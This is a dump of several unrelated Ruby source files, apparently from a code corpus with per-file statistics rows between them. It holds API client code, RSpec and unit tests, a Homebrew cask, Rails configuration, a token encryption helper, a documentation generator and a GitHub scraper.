189195ed0602686d81c64efe7bab697de75110aa | 763 | module Fog
module Brightbox
class Compute
class Real
# Get full details of the API client.
#
# @param [String] identifier Unique reference to identify the resource
# @param [Hash] options
# @option options [Boolean] :nested passed through with the API request. When true nested resources are expanded.
#
# @return [Hash] if successful Hash version of JSON object
#
# @see https://api.gb1.brightbox.com/1.0/#api_client_get_api_client
#
def get_api_client(identifier, options = {})
return nil if identifier.nil? || identifier == ""
wrapped_request("get", "/1.0/api_clients/#{identifier}", [200], options)
end
end
end
end
end
| 33.173913 | 121 | 0.613368 |
18c3c2b3ddf0e9429b1eb402865e3e4a4f6c328d | 3,392 | # frozen_string_literal: true
require 'spec_helper'
describe BankCredentials::Factory do
describe '.from_hash' do
subject { described_class.from_hash(credentials) }
context 'given a valid hbci credential hash' do
let(:credentials) { valid_hbci_credentials_with_type }
it { is_expected.to be_a(BankCredentials::Hbci) }
end
context 'given a valid hbci credential hash without type' do
let(:credentials) { valid_hbci_credentials_without_type }
specify { expect { subject }.to raise_error(BankCredentials::Errors::Invalid) }
end
context 'given a valid ebics credential hash without type' do
let(:credentials) { valid_ebics_credentials_without_type }
specify { expect { subject }.to raise_error(BankCredentials::Errors::Invalid) }
end
context 'given a valid hbci credential hash' do
let(:credentials) { valid_ebics_credentials_with_type }
it { is_expected.to be_a(BankCredentials::Ebics) }
end
context 'given an empty hash' do
let(:credentials) { {} }
specify { expect { subject }.to raise_error(BankCredentials::Errors::Invalid) }
end
context 'given nil' do
let(:credentials) { nil }
specify { expect { subject }.to raise_error(BankCredentials::Errors::Invalid) }
end
end
describe '.from_encoded_json' do
let(:encoded_json) { Base64.urlsafe_encode64(credential_hash.to_json) }
context 'given a valid ebics credential hash' do
let(:credential_hash) { valid_ebics_credentials }
it 'returns an ebics credential object' do
expect(described_class.from_encoded_json(encoded_json)).to be_a(BankCredentials::Ebics)
end
it 'initializes the credential object with the credential hash' do
expect(BankCredentials::Ebics).to receive(:new).with(credential_hash)
described_class.from_encoded_json(encoded_json)
end
end
context 'given a hbci credential hash' do
let(:credential_hash) { valid_hbci_credentials }
it 'returns an hbci credential object' do
expect(described_class.from_encoded_json(encoded_json)).to be_a(BankCredentials::Hbci)
end
it 'initializes the credential object with the credential hash' do
expect(BankCredentials::Hbci).to receive(:new).with(credential_hash)
described_class.from_encoded_json(encoded_json)
end
end
context 'given nil' do
let(:encoded_json) { nil }
it 'raises an error' do
expect { described_class.from_encoded_json(encoded_json) }
.to raise_error(BankCredentials::Errors::Invalid)
end
end
context 'given an empty string' do
let(:encoded_json) { '' }
it 'raises an error' do
expect { described_class.from_encoded_json(encoded_json) }
.to raise_error(BankCredentials::Errors::Invalid)
end
end
context 'given unparseable json' do
let(:encoded_json) { 'asd' }
it 'raises an error' do
expect { described_class.from_encoded_json(encoded_json) }
.to raise_error(BankCredentials::Errors::Invalid)
end
end
context 'given a hash' do
let(:encoded_json) { { a: 'asd' } }
it 'raises an error' do
expect { described_class.from_encoded_json(encoded_json) }
.to raise_error(BankCredentials::Errors::Invalid)
end
end
end
end
| 30.017699 | 95 | 0.686321 |
5d92e902027ebe13aab1a770bb534712027ff714 | 243 | class Knox < Cask
version '2.2.0'
sha256 'c19c56a35d299a2cd85c612e1e99009bff9d7536ddd24f9d565910702be9742a'
url 'https://d13itkw33a7sus.cloudfront.net/dist/K/Knox-2.2.0.zip'
homepage 'https://agilebits.com/knox'
app 'Knox.app'
end
| 24.3 | 75 | 0.761317 |
399bd49623807f1ea335d0b259f86091176e11b9 | 4,710 | require_relative '../../spec_helper'
require_relative '../enumerable/shared/enumeratorized'
describe "Range#bsearch" do
it "returns an Enumerator when not passed a block" do
(0..1).bsearch.should be_an_instance_of(Enumerator)
end
it_behaves_like :enumeratorized_with_unknown_size, :bsearch, (1..3)
it "raises a TypeError if the block returns an Object" do
lambda { (0..1).bsearch { Object.new } }.should raise_error(TypeError)
end
it "raises a TypeError if the block returns a String" do
lambda { (0..1).bsearch { "1" } }.should raise_error(TypeError)
end
it "raises a TypeError if the Range has Object values" do
value = mock("range bsearch")
r = Range.new value, value
lambda { r.bsearch { true } }.should raise_error(TypeError)
end
it "raises a TypeError if the Range has String values" do
lambda { ("a".."e").bsearch { true } }.should raise_error(TypeError)
end
context "with Integer values" do
context "with a block returning true or false" do
it "returns nil if the block returns false for every element" do
(0...3).bsearch { |x| x > 3 }.should be_nil
end
it "returns nil if the block returns nil for every element" do
(0..3).bsearch { |x| nil }.should be_nil
end
it "returns minimum element if the block returns true for every element" do
(-2..4).bsearch { |x| x < 4 }.should == -2
end
it "returns the smallest element for which block returns true" do
(0..4).bsearch { |x| x >= 2 }.should == 2
(-1..4).bsearch { |x| x >= 1 }.should == 1
end
it "returns the last element if the block returns true for the last element" do
(0..4).bsearch { |x| x >= 4 }.should == 4
(0...4).bsearch { |x| x >= 3 }.should == 3
end
end
context "with a block returning negative, zero, positive numbers" do
it "returns nil if the block returns less than zero for every element" do
(0..3).bsearch { |x| x <=> 5 }.should be_nil
end
it "returns nil if the block returns greater than zero for every element" do
(0..3).bsearch { |x| x <=> -1 }.should be_nil
end
it "returns nil if the block never returns zero" do
(0..3).bsearch { |x| x < 2 ? 1 : -1 }.should be_nil
end
it "accepts (+/-)Float::INFINITY from the block" do
(0..4).bsearch { |x| Float::INFINITY }.should be_nil
(0..4).bsearch { |x| -Float::INFINITY }.should be_nil
end
it "returns an element at an index for which block returns 0.0" do
result = (0..4).bsearch { |x| x < 2 ? 1.0 : x > 2 ? -1.0 : 0.0 }
result.should == 2
end
it "returns an element at an index for which block returns 0" do
result = (0..4).bsearch { |x| x < 1 ? 1 : x > 3 ? -1 : 0 }
[1, 2].should include(result)
end
end
end
context "with Float values" do
context "with a block returning true or false" do
it "returns nil if the block returns false for every element" do
(0.1...2.3).bsearch { |x| x > 3 }.should be_nil
end
it "returns nil if the block returns nil for every element" do
(-0.0..2.3).bsearch { |x| nil }.should be_nil
end
it "returns minimum element if the block returns true for every element" do
(-0.2..4.8).bsearch { |x| x < 4 }.should == -0.2
end
it "returns the smallest element for which block returns true" do
(0..4.2).bsearch { |x| x >= 2 }.should == 2
(-1.2..4.3).bsearch { |x| x >= 1 }.should == 1
end
end
context "with a block returning negative, zero, positive numbers" do
it "returns nil if the block returns less than zero for every element" do
(-2.0..3.2).bsearch { |x| x <=> 5 }.should be_nil
end
it "returns nil if the block returns greater than zero for every element" do
(0.3..3.0).bsearch { |x| x <=> -1 }.should be_nil
end
it "returns nil if the block never returns zero" do
(0.2..2.3).bsearch { |x| x < 2 ? 1 : -1 }.should be_nil
end
it "accepts (+/-)Float::INFINITY from the block" do
(0.1..4.5).bsearch { |x| Float::INFINITY }.should be_nil
(-5.0..4.0).bsearch { |x| -Float::INFINITY }.should be_nil
end
it "returns an element at an index for which block returns 0.0" do
result = (0.0..4.0).bsearch { |x| x < 2 ? 1.0 : x > 2 ? -1.0 : 0.0 }
result.should == 2
end
it "returns an element at an index for which block returns 0" do
result = (0.1..4.9).bsearch { |x| x < 1 ? 1 : x > 3 ? -1 : 0 }
result.should >= 1
result.should <= 2
end
end
end
end
| 34.130435 | 85 | 0.591932 |
e80a55898c9795e51fa251888fb144cc6baa702f | 6,676 | require 'test_helper'
class TestSpecification < Test::Unit::TestCase
def setup
@project = create_construct
end
def teardown
@project.destroy!
end
def build_jeweler_gemspec(&block)
gemspec = if block
Gem::Specification.new(&block)
else
Gem::Specification.new
end
gemspec.extend(Jeweler::Specification)
gemspec
end
should 'be able to use to_ruby on a duped gemspec without error' do
gemspec = build_jeweler_gemspec
gemspec.files.include 'throwaway value'
gemspec.dup.to_ruby
end
context 'basic defaults' do
setup do
@gemspec = build_jeweler_gemspec
end
should 'make files a FileList' do
assert_equal FileList, @gemspec.files.class
end
should 'make extra_rdoc_files a FileList' do
assert_equal FileList, @gemspec.extra_rdoc_files.class
end
end
context "there aren't any executables in the project directory" do
setup do
@project.directory 'bin'
end
context "and there hasn't been any set on the gemspec" do
setup do
@gemspec = build_jeweler_gemspec
@gemspec.set_jeweler_defaults(@project)
end
should 'have empty gemspec executables' do
assert_equal [], @gemspec.executables
end
end
context 'and has been previously set executables' do
setup do
@gemspec = build_jeweler_gemspec do |gemspec|
gemspec.executables = %w(non-existant)
end
@gemspec.set_jeweler_defaults(@project)
end
should 'have only the original executables in the gemspec' do
assert_equal %w(non-existant), @gemspec.executables
end
end
end
context 'there are multiple executables in the project directory' do
setup do
@project.directory('bin') do |bin|
bin.file 'burnination'
bin.file 'trogdor'
end
repo = Git.init(@project.to_s)
repo.config('user.name', 'who')
repo.config('user.email', '[email protected]')
repo.add('bin/burnination')
repo.commit('Initial commit')
end
context "and there hasn't been any set on the gemspec" do
setup do
@gemspec = build_jeweler_gemspec
@gemspec.set_jeweler_defaults(@project)
end
should 'have the executables under version control in the gemspec' do
assert_equal %w(burnination), @gemspec.executables
end
end
context 'and has been previously set executables' do
setup do
@gemspec = build_jeweler_gemspec do |gemspec|
gemspec.executables = %w(burnination)
end
@gemspec.set_jeweler_defaults(@project)
end
should 'have only the original executables in the gemspec' do
assert_equal %w(burnination), @gemspec.executables
end
end
end
context 'there are mutiple extconf.rb and mkrf_conf.rb in the project directory' do
setup do
@project.directory('ext') do |ext|
ext.file 'extconf.rb'
ext.file 'mkrf_conf.rb'
ext.directory('trogdor_native') do |trogdor_native|
trogdor_native.file 'extconf.rb'
trogdor_native.file 'mkrf_conf.rb'
end
end
end
context "and there hasn't been any extensions set on the gemspec" do
setup do
@gemspec = build_jeweler_gemspec
@gemspec.set_jeweler_defaults(@project)
end
should 'have all the extconf.rb and mkrf_config.rb files in extensions' do
assert_equal %w(ext/mkrf_conf.rb ext/trogdor_native/mkrf_conf.rb ext/extconf.rb ext/trogdor_native/extconf.rb).sort, @gemspec.extensions.sort
end
end
end
context 'there are some files and is setup for git' do
setup do
@project.file 'Rakefile'
@project.directory('lib') do |lib|
lib.file 'example.rb'
end
repo = Git.init(@project.to_s)
repo.config('user.name', 'who')
repo.config('user.email', '[email protected]')
repo.add('.')
repo.commit('Initial commit')
end
context 'and the files defaults are used' do
setup do
@gemspec = build_jeweler_gemspec
@gemspec.set_jeweler_defaults(@project, @project)
end
should 'populate files from git' do
assert_equal %w(Rakefile lib/example.rb), @gemspec.files.sort
end
end
context 'and the files specified manually' do
setup do
@gemspec = build_jeweler_gemspec do |gemspec|
gemspec.files = %w(Rakefile)
end
@gemspec.set_jeweler_defaults(@project, @project)
end
should 'not be overridden by files from git' do
assert_equal %w(Rakefile), @gemspec.files
end
end
end
context 'there are some files and is setup for git with ignored files' do
setup do
@project.file '.gitignore', 'ignored'
@project.file 'ignored'
@project.file 'Rakefile'
@project.directory('lib') do |lib|
lib.file 'example.rb'
end
repo = Git.init(@project.to_s)
repo.config('user.name', 'who')
repo.config('user.email', '[email protected]')
repo.add('.')
repo.commit('Initial commit')
@gemspec = build_jeweler_gemspec
@gemspec.set_jeweler_defaults(@project, @project)
end
should 'populate files from git excluding ignored and .gitignore' do
assert_equal %w(Rakefile lib/example.rb), @gemspec.files.sort
end
end
context 'there are some files and is setup for git and working in a sub directory' do
setup do
@subproject = File.join(@project, 'subproject')
@project.file 'Rakefile'
@project.file 'README'
@project.directory 'subproject' do |subproject|
subproject.file 'README'
subproject.directory('lib') do |lib|
lib.file 'subproject_example.rb'
end
end
repo = Git.init(@project.to_s)
repo.config('user.name', 'who')
repo.config('user.email', '[email protected]')
repo.add('.')
repo.commit('Initial commit')
@gemspec = build_jeweler_gemspec
@gemspec.set_jeweler_defaults(@subproject, @project)
end
should 'populate files from git relative to sub directory' do
assert_equal %w(lib/subproject_example.rb README).sort, @gemspec.files.sort
end
end
context 'there are some files and is not setup for git' do
setup do
@project.file 'Rakefile'
@project.directory('lib') do |lib|
lib.file 'example.rb'
end
@gemspec = build_jeweler_gemspec
@gemspec.set_jeweler_defaults(@project, @project)
end
should 'not populate files' do
assert_equal [], @gemspec.files.sort
end
end
end
| 27.933054 | 149 | 0.646195 |
33223427889128e6c7278b4c8cd56b79b1b4a067 | 142 | require 'test_helper'
class SccRubyTest < Minitest::Test
def test_that_it_has_a_version_number
refute_nil ::SccRuby::VERSION
end
end
| 17.75 | 39 | 0.788732 |
7a4dcc77d42fd2b70e4b5fb9548290b6684d1182 | 220 | class Alvarion < Oxidized::Model
# Used in Alvarion wisp equipment
# Run this command as an instance of Model so we can access node
pre do
cmd "#{node.auth[:password]}.cfg"
end
cfg :tftp do
end
end
| 13.75 | 66 | 0.672727 |
e22be6880bbf3ece2ddf6788c915b260a9510bd2 | 1,631 | # frozen_string_literal: true
class MergeRequestNoteableEntity < Grape::Entity
include RequestAwareEntity
# Currently this attr is exposed to be used in app/assets/javascripts/notes/stores/getters.js
# in order to determine whether a noteable is an issue or an MR
expose :merge_params
expose :state
expose :source_branch
expose :target_branch
expose :diff_head_sha
expose :create_note_path do |merge_request|
project_notes_path(merge_request.project, target_type: 'merge_request', target_id: merge_request.id)
end
expose :preview_note_path do |merge_request|
preview_markdown_path(merge_request.project, target_type: 'MergeRequest', target_id: merge_request.iid)
end
expose :supports_suggestion?, as: :can_receive_suggestion
expose :create_issue_to_resolve_discussions_path do |merge_request|
presenter(merge_request).create_issue_to_resolve_discussions_path
end
expose :new_blob_path do |merge_request|
if presenter(merge_request).can_push_to_source_branch?
project_new_blob_path(merge_request.source_project, merge_request.source_branch)
end
end
expose :current_user do
expose :can_create_note do |merge_request|
can?(current_user, :create_note, merge_request)
end
expose :can_update do |merge_request|
can?(current_user, :update_merge_request, merge_request)
end
end
private
delegate :current_user, to: :request
def presenter(merge_request)
@presenters ||= {}
@presenters[merge_request] ||= MergeRequestPresenter.new(merge_request, current_user: current_user) # rubocop: disable CodeReuse/Presenter
end
end
| 30.203704 | 142 | 0.780503 |
28abfbdfef63609aba68bcb97356eb20bfe35d18 | 243 | require 'spec_helper'
RSpec.describe "/admin" do
pending "add some examples to #{__FILE__}" do
before do
get "/admin"
end
it "returns hello world" do
expect(last_response.body).to eq "Hello World"
end
end
end
| 17.357143 | 52 | 0.650206 |
08a85e2bfa19728af75036f4ca24bd2248acfec6 | 278 | # Don't forget! This file needs to be 'required' in its spec file
# See README.md for instructions on how to do this
def fizzbuzz(int)
if int % 3 == 0 and int % 5 == 0
"FizzBuzz"
elsif
int % 3 == 0
"Fizz"
elsif int % 5 == 0
"Buzz"
else
nil
end
end
| 18.533333 | 65 | 0.593525 |
1aa348a735cf9936500325786c0867447687ee2e | 167 | require 'test_helper'
module Support
class CandidateAdditionalScoreTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
end
| 16.7 | 62 | 0.706587 |
f8979e9d3b8c54a192e5d17d568705b0241e6e7b | 3,465 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Attempt to read encrypted secrets from `config/secrets.yml.enc`.
# Requires an encryption key in `ENV["RAILS_MASTER_KEY"]` or
# `config/secrets.yml.key`.
config.read_encrypted_secrets = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Mount Action Cable outside main process or domain
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Use the lowest log level to ensure availability of diagnostic information
# when problems arise.
config.log_level = :debug
# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment)
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "booklock_rails_#{Rails.env}"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require 'syslog/logger'
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
end
| 41.25 | 100 | 0.756999 |
1147ea5e64012ece7db395f19067258fd5d7018b | 2,095 | # Multipass implementation used for single-sign-on for resellers
require "openssl"
require "base64"
require "time"
require "json"
module BitBalloon
class Multipass
def initialize(multipass_secret)
### Use the Multipass secret to derive two cryptographic keys,
### one for encryption, one for signing
key_material = OpenSSL::Digest.new("sha256").digest(multipass_secret)
@encryption_key = key_material[ 0,16]
@signature_key = key_material[16,16]
end
def generate_token(customer_data_hash)
### Store the current time in ISO8601 format.
### The token will only be valid for a small timeframe around this timestamp.
customer_data_hash["created_at"] = Time.now.iso8601
### Serialize the customer data to JSON and encrypt it
ciphertext = encrypt(customer_data_hash.to_json)
### Create a signature (message authentication code) of the ciphertext
### and encode everything using URL-safe Base64 (RFC 4648)
sig = sign(ciphertext)
Base64.urlsafe_encode64(ciphertext + sign(ciphertext))
end
def decode_token(token)
decoded_token = Base64.urlsafe_decode64(token)
ciphertext, signature = [decoded_token[0..-33], decoded_token[-32..-1]]
sig = sign(ciphertext)
raise "Bad signature" unless sign(ciphertext) == signature
JSON.parse(decrypt(ciphertext))
end
private
def encrypt(plaintext)
cipher = OpenSSL::Cipher::Cipher.new("aes-128-cbc")
cipher.encrypt
cipher.key = @encryption_key
### Use a random IV
cipher.iv = iv = cipher.random_iv
### Use IV as first block of ciphertext
iv + cipher.update(plaintext) + cipher.final
end
def decrypt(ciphertext)
decipher = OpenSSL::Cipher::Cipher.new("aes-128-cbc")
decipher.decrypt
decipher.key = @encryption_key
decipher.iv, encrypted = [ciphertext[0..15], ciphertext[16..-1]]
decipher.update(encrypted) + decipher.final
end
def sign(data)
OpenSSL::HMAC.digest("sha256", @signature_key, data)
end
end
end
| 29.507042 | 83 | 0.680668 |
082c447c4479c3672b615fdc53651c24283f9686 | 2,289 | # encoding: utf-8
module PDoc
module Generators
module Html
class Page
include Helpers::BaseHelper
include Helpers::LinkHelper
def initialize(template, layout, variables = {})
@template = template
@layout = layout
assign_variables(variables)
end
# Renders the page as a string using the assigned layout.
def render
if @layout
@content_for_layout = Template.new(@template, @templates_directory).result(binding)
Template.new(@layout, @templates_directory).result(binding)
else
Template.new(@template, @templates_directory).result(binding)
end
end
# Creates a new file and renders the page to it
# using the assigned layout.
def render_to_file(filename)
filename ||= ""
FileUtils.mkdir_p(File.dirname(filename))
File.open(filename, "w+") { |f| f << render }
end
def include(path, options = {})
r = options.collect { |k, v| "#{k.to_s} = options[:#{k}]" }.join(';')
if options[:collection]
# XXX This assumes that `options[:collection]` and `options[:object]` are mutually exclusive
options[:collection].map { |object| b = binding; b.eval(r); Template.new(path, @templates_directory).result(b) }.join("\n")
else
b = binding
b.eval(r)
Template.new(path, @templates_directory).result(b)
end
end
private
def assign_variables(variables)
variables.each { |key, value| instance_variable_set("@#{key}", value) }
end
end
class DocPage < Page
include Helpers::LinkHelper, Helpers::CodeHelper, Helpers::MenuHelper
attr_reader :doc_instance, :depth, :root
def initialize(template, layout = "layout", variables = {})
if layout.is_a?(Hash)
variables = layout
layout = "layout"
end
super(template, layout, variables)
end
def htmlize(markdown)
super(auto_link_content(markdown))
end
end
end
end
end
| 30.932432 | 135 | 0.553517 |
e83f4dc20a39e8fe9f4dae16227017d30d34d2c7 | 604 | cask "tableau-reader" do
version "2020.2.2"
sha256 "74b4f8bc12b462b11c94a5400f25010474f410e24ef8d943318049e05e76bf0c"
url "https://downloads.tableau.com/tssoftware/TableauReader-#{version.dots_to_hyphens}.dmg"
appcast "https://macupdater.net/cgi-bin/check_urls/check_url_redirect.cgi?url=https://www.tableau.com/downloads/reader/mac",
must_contain: version.dots_to_hyphens
name "Tableau Reader"
homepage "https://www.tableau.com/products/reader"
pkg "Tableau Reader.pkg"
uninstall pkgutil: [
"com.tableausoftware.FLEXNet.*",
"com.tableausoftware.Reader.app",
]
end
| 33.555556 | 126 | 0.759934 |
91adc1c8e430be4d45e9da903aeee2c390ad3b0f | 886 | module Feedjira
module Parser
# Parser for dealing with Atom feed entries.
class AtomEntry
include SAXMachine
include FeedEntryUtilities
element :title
element :link, :as => :url, :value => :href, :with => {:type => "text/html", :rel => "alternate"}
element :name, :as => :author
element :content
element :summary
element :"media:content", :as => :image, :value => :url
element :enclosure, :as => :image, :value => :href
element :published
element :id, :as => :entry_id
element :created, :as => :published
element :issued, :as => :published
element :updated
element :modified, :as => :updated
elements :category, :as => :categories, :value => :term
elements :link, :as => :links, :value => :href
def url
@url ||= links.first
end
end
end
end
| 25.314286 | 103 | 0.579007 |
03b67dbb2530c10fc26749d28d30247989ae8e55 | 798 | # Generated via
# `rails generate hyrax:work MastersPaper`
module Hyrax
class MastersPapersController < ApplicationController
# Adds Hyrax behaviors to the controller.
include Hyrax::WorksControllerBehavior
include Hyrax::BreadcrumbsForWorks
self.curation_concern_type = ::MastersPaper
# Use this line if you want to use a custom presenter
self.show_presenter = Hyrax::MastersPaperPresenter
before_action :ensure_admin!, only: :destroy
before_action :ensure_admin_set!, only: [:create, :new, :edit, :update]
private
def ensure_admin!
authorize! :read, :admin_dashboard
end
def ensure_admin_set!
if AdminSet.all.count == 0
return redirect_to root_path, alert: 'No Admin Sets have been created.'
end
end
end
end
| 27.517241 | 79 | 0.720551 |
392af873c2058549b9404a5ea644eea9819f30a3 | 390 | # frozen_string_literal: true
require 'bundler/setup'
require 'xid'
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
config.example_status_persistence_file_path = '.rspec_status'
# Disable RSpec exposing methods globally on `Module` and `main`
config.disable_monkey_patching!
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
| 22.941176 | 66 | 0.753846 |
bb31a9b2f321d9d3900d398caf9c6fda61682353 | 157 | require 'helpers/unique_names_helper'
include UniqueNamesHelper
FactoryGirl.define do
factory :feature_flags_user do
id { unique_integer }
end
end
| 15.7 | 37 | 0.796178 |
2614e133007b22ce46147bea1dfea872105cd56f | 640 | require 'helper'
class TestEppContactDeleteResponse < Test::Unit::TestCase
context 'EPP::Contact::DeleteResponse' do
setup do
@response = EPP::Response.new(load_xml('contact/delete'))
@delete_response = EPP::Contact::DeleteResponse.new(@response)
end
should 'proxy methods to @response' do
assert_equal @response.message, @delete_response.message
end
should 'be successful' do
assert @delete_response.success?
assert_equal 1000, @delete_response.code
end
should 'have message' do
assert_equal 'Command completed successfully', @delete_response.message
end
end
end
| 26.666667 | 77 | 0.7125 |
ac53918a0b446d679af10968afa7d47c3ddcf91b | 929 | class User < OceanDynamo::Table
include ActiveModel::Validations
validates :email, presence: true, email: true
dynamo_schema(:id, create: !Rails.env.production?) do
attribute :email, :string
attribute :oauth_token, :string, default: nil
attribute :oauth_secret, :string, default: nil
attribute :last_login, :datetime, default: nil
attribute :password_hash, :string
attribute :password_salt, :string
global_secondary_index :email, projection: :all
end
def self.authenticate(email, password)
user = User.find_global(:email, email).first
if user && user.password_hash == BCrypt::Engine.hash_secret(password, user.password_salt)
user
else
nil
end
end
def password=(unencrypted_password)
self.password_salt = BCrypt::Engine.generate_salt
self.password_hash = BCrypt::Engine.hash_secret(unencrypted_password, password_salt)
end
end | 29.967742 | 93 | 0.715823 |
21fb9276e298074119a970e2804b2f6d1a44138e | 501 | module Skype
def self.exec(command, opts={:response_filter => true})
script = %Q{tell application "Skype"
send command "#{Utils.escape command}" script name "#{self.config[:app_name]}"
end tell}
res = `unset LD_LIBRARY_PATH; unset DYLD_LIBRARY_PATH; /usr/bin/osascript -e '#{script}'`.strip
res = filter_response res if opts[:response_filter]
res
end
module Utils
def self.escape(str)
str.gsub(/(["\\])/){ "\\#{$1}" }.
gsub("'"){ "'\\''" }
end
end
end
| 27.833333 | 99 | 0.620758 |
abdb4f01f4f535824a7668c908bd8320df3007d1 | 561 | ## coding: utf-8
#require 'rails_helper'
#feature "Channels Moderation", %q{
#In order to curate my channel and comunicate my decisions to the project owners
#as a channel trustee
#I want to approve or reject a project draft
#} do
#background do
#@channel = FactoryGirl.create(:channel)
#end
#scenario "I am a trustee and I want to see projects awaiting for moderation" do
#user = FactoryGirl.create(:user)
#user.channels << @channel
#login_as(user, scope: :user)
#visit channels_profile_path(@channel)
#end
#end
| 20.035714 | 82 | 0.691622 |
28124b67908e85c8977b98553b36959eb9679158 | 641 | require 'json'
require File.dirname(__FILE__) + '/exceptions'
module HelpDeskAPI
module Utilities
# Makes sure all keys exist in hash
def self.validateHash(hash, keys)
keys.each do |key|
unless hash.has_key? key
fail HelpDeskAPI::Exceptions.MissingKey, "Missing key #{key} in hash:\n#{hash}\n"
end
end
end
# Converts response to JSON then creates given object and calls parse
# to handle parsing the response JSON
def self.parse_response(response, key, obj)
hash = JSON.parse response
hash[key].map { |object_hash| obj.new.parse(object_hash) }
end
end
end
| 26.708333 | 91 | 0.670827 |
f73839a0a3797390dfabd3be4cd107f5f2a63827 | 514 | module TimeHelpers
def self.prepare_time_value(value)
case value
when 'end'
Time.zone.now.end_of_day
when 'beginning'
Time.zone.now.beginning_of_day
else
begin
Time.zone.strptime(value, '%H:%M %d.%m')
rescue => _e
nil
end
end
end
def self.time_zone_by_offset(offset)
ActiveSupport::TimeZone.all.detect do |zone|
t = Time.current.in_time_zone(zone)
(t.utc_offset / 3600) == offset
end&.tzinfo&.name || 'Etc/UTC'
end
end
| 21.416667 | 48 | 0.622568 |
1de2911aec4ac4d40873cca957b026abc157e159 | 2,179 | #!/usr/bin/env ruby
# - implement new printers here, and send the class to the factory using `PrinterFactory.printers = [class]`
class GitHubScraper
include Scraper
def initialize
super
@host = 'github.com'
@base_url = 'https://github.com'
@name = 'GitHub'
@supported[%r{pull/\d+/?$}] = MergeRequest
end
private
def scrape_pull_request
header = @dom.css('.gh-header-title span')
branches = @dom.css('.commit-ref a')
title = @dom.css('.timeline-comment-header-text')
@changelog.subject = header.first.text.strip
@changelog.id = header.last.text.strip
@changelog.time = title.css('relative-time').first.attribute('datetime').value.strip
@changelog.author = title.css('.author').first.text.strip
@changelog.url = @req_url
@changelog.status = @dom.css('.gh-header-meta div span').first.text.strip
@changelog.target_branch = branches.first.attribute('title').value.strip
@changelog.base_branch = branches.last.attribute('title')&.value&.strip
@changelog.base_branch = @changelog.base_branch.nil? ? '[deleted branch]' : @changelog.base_branch
end
def scrape_pull_commits
url = URI.parse("#{@changelog.url}/commits")
commits = Nokogiri::HTML(StrictHTTP.strict_get(url, HTTP_TIMEOUT_SECONDS).to_s)
commits.css('li.js-commits-list-item').each do |commit_html|
commit = Commit.new
commit.subject = commit_html.css('a.js-navigation-open').text.strip
commit.id = commit_html.css('a.text-mono').text.strip
commit.message = commit_html.css('pre').text.strip
commit.author = commit_html.css('.commit-author').text.strip
commit.time = commit_html.css('relative-time').attribute('datetime').value.strip
commit.url = URI.parse("#{@base_url}#{commit_html.css('a.text-mono').attribute('href').value}")
@changelog.commits = commit
end
end
def scrape()
@changelog = @changelog_type.new
scraped = true
case @changelog
when MergeRequest
@changelog.name = 'Pull Request'
scrape_pull_request
scrape_pull_commits
else
scraped = false
end
scraped
end
end
ProviderFactory.scrapers = GitHubScraper
| 34.587302 | 108 | 0.688389 |
18452d02075db56a5fe63032ecd1dbbd2a620f6c | 1,086 | # frozen_string_literal: true
module Doorkeeper
module OAuth
module Helpers
# Default Doorkeeper token generator. Follows OAuth RFC and
# could be customized using `default_generator_method` in
# configuration.
module UniqueToken
def self.generate(options = {})
# Access Token value must be 1*VSCHAR or
# 1*( ALPHA / DIGIT / "-" / "." / "_" / "~" / "+" / "/" ) *"="
#
# @see https://datatracker.ietf.org/doc/html/rfc6749#appendix-A.12
# @see https://datatracker.ietf.org/doc/html/rfc6750#section-2.1
#
generator = options.delete(:generator) || SecureRandom.method(default_generator_method(options[:doorkeeper_config]))
token_size = options.delete(:size) || 32
generator.call(token_size)
end
# Generator method for default generator class (SecureRandom)
#
def self.default_generator_method(doorkeeper_config)
(doorkeeper_config || Doorkeeper.config).default_generator_method
end
end
end
end
end
| 35.032258 | 126 | 0.626151 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.